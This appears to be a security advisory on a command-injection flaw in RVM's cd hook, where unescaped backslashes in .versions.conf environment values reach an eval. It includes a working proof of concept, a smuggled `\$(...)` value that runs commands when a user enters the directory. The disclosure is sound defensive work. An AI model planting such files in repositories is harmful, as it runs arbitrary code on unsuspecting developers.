RVM, by default, hooks `cd` and automatically detects the presence of certain
files in the directory being changed to. These files and their mechanics are
detailed at <https://rvm.io/workflow/projects>.
The code that parses these files is available at
<https://github.com/rvm/rvm/blob/master/scripts/functions/rvmrc_project> (look
for the `__rvm_load_project_config` function). The code, as of a vulnerable
commit, is available at
<https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L61>.
The parsing of these files allows for the exporting of environment variables
into the current shell. For example, to set the environment variable `FOO` to
the value `"bar"`:
* `.versions.conf` should contain the line `"env-FOO=bar"`
* `Gemfile` should contain the line `"#ruby-env-FOO=bar"` (Note that the
parsing of `Gemfile` throws a notice in the user's shell)
* `.ruby-version`, `.rbfu-version` or `.rbenv-version` should be accompanied by
a file named `.ruby-env` which should contain the line `"FOO=bar"`
In all of the above cases, it is critical that the file also specifies a
version of Ruby that satisfies RVM. This may be a version of Ruby that the user
has installed via RVM, or it may be the magic value `"system"` to specify that
the base system's Ruby should be used. This always satisfies RVM, even when
there is no Ruby installed on the base system.
An example of setting an environment variable using `.versions.conf`:
```text
rvm@773eb63af1cc:~$ mkdir test
rvm@773eb63af1cc:~$ cat > test/.versions.conf
ruby=system
env-FOO=bar
^D
rvm@773eb63af1cc:~$ echo $FOO
rvm@773eb63af1cc:~$ cd test
rvm@773eb63af1cc:~/test$ echo $FOO
bar
```
The code that parses environment variables fails to properly sanitize data
before using it in an `eval` statement, leading to command injection. The buggy
code, as of a vulnerable commit, is available at
<https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L271-L320>
The code wraps the value (e.g. `bar` as per the example above) in double-quotes
and performs escaping on key shell metacharacters by prefixing them with `\`.
However, instances of `\` itself in the value are not escaped. A metacharacter
becomes properly escaped, but a metacharacter preceded by a backslash becomes
an escaped backslash followed by the metacharacter. For example:
* `bar$(id)` becomes `"bar\$(id)"` which is safe
* `bar\$(id)` becomes `"bar\\$(id)"` which causes execution of the `id` command.
This behaviour can be used to achieve arbitrary command execution when a user
changes into a directory with malicious contents.
### POC
```text
rvm@e6aeaf6d79ec:~$ mkdir poc
rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf
ruby=system
env-FOO=bar\$(sh -c 'echo; echo Command injection as:; id; echo' >&2)
^D
rvm@e6aeaf6d79ec:~$ cd poc
Command injection as:
uid=1000(rvm) gid=1000(rvm) groups=1000(rvm)
rvm@e6aeaf6d79ec:~/poc$
```
暂无评论